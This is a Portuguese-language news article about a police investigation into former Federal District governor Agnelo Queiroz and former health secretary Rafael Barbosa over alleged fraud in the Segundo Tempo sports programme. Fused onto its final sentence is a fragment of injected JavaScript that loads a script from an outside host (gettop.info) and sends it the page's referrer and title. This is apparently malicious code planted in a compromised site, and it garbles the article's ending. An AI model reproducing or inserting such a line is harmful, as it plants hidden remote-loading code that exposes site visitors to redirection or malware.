Agnelo e ex-secretário de Saúde são investigados por corrupção

Rafael Barbosa foi o candidato com uma das mais caras campanhas em 2014, mas saiu derrotado do pleito

O ex-governador Agnelo Queiroz e o ex-secretário de Saúde Rafael Barbosa são alvos da operação Palácio Real, que investiga o Polícial Militar João Dias, que, em 2011, jogou R$ 159 mil em dinheiro vivo em cima da mesa de uma secretária de Paulo Tadeu, então assessor de Agnelo. As informações são da repórter Mirelle Pinheiro, do portal Metropoles.

Apesar de a investigação ter começado de maneira rasteira no Palácio do Buriti, a polícia afirma que chegou a graves denúncias envolvendo a cúpula do governo petista. À época, João Dias afirmou publicamente que Agnelo era responsável por desvio de verbas no programa Segundo Tempo, ainda quando comandava o Ministério do Esporte. O ex-governador sempre negou qualquer envolvimento no caso.

Segundo a reportagem do Metropoles, as investigações da Polícia Federal apontaram que a origem das irregularidades seria o repasse de R$ 2,9 milhões para as federações Brasiliense de Kung Fu (Febrak) e Associação João Dias de Kung Fu. As entidades teriam de desenvolver atividades desportivas com 10 mil alunos da rede pública de ensino enquanto não estavam em sala de aula.

João Dias, no entanto, apesar de receber verba do Ministério não prestava os serviços prometidos. A investigação sustenta que as ONGs de Dias forjavam a compra de materiais que seriam usados durante as atividades com as crianças. As associações teriam atuado em conluio com empresas que forneciam notas fiscais frias para driblar a fiscalização do ministério. O objetivo das investigações era descobrir se o dinheiro desviado teria sido usado para financiar campanhas políticas.

As fraudes no Segundo Tempo não são novidade. Em dezembro de 2016, a Controladoria-Geral da União (CGU). expulsou sete servidores do Ministério do Esporte envolvidos em fraudes na execução do Programa Segundo Tempo. Entre os atingidos, estava o ex-secretário de Saúde do DF Rafael Barbosa, um dos nomes mais próximos de Agnelo.

Quando saiu a decisão da CGU, Barbosa já não trabalhava mais no Ministério. No entanto ele e os outros seis servidores que responderam pela prática de atos de improbidade administrativa e utilização do cargo para obtenção de vantagem pessoal ou para terceiros ficaram impedidos de retornar ao serviço público federal.

Leia a íntegra da matéria do Metropoless.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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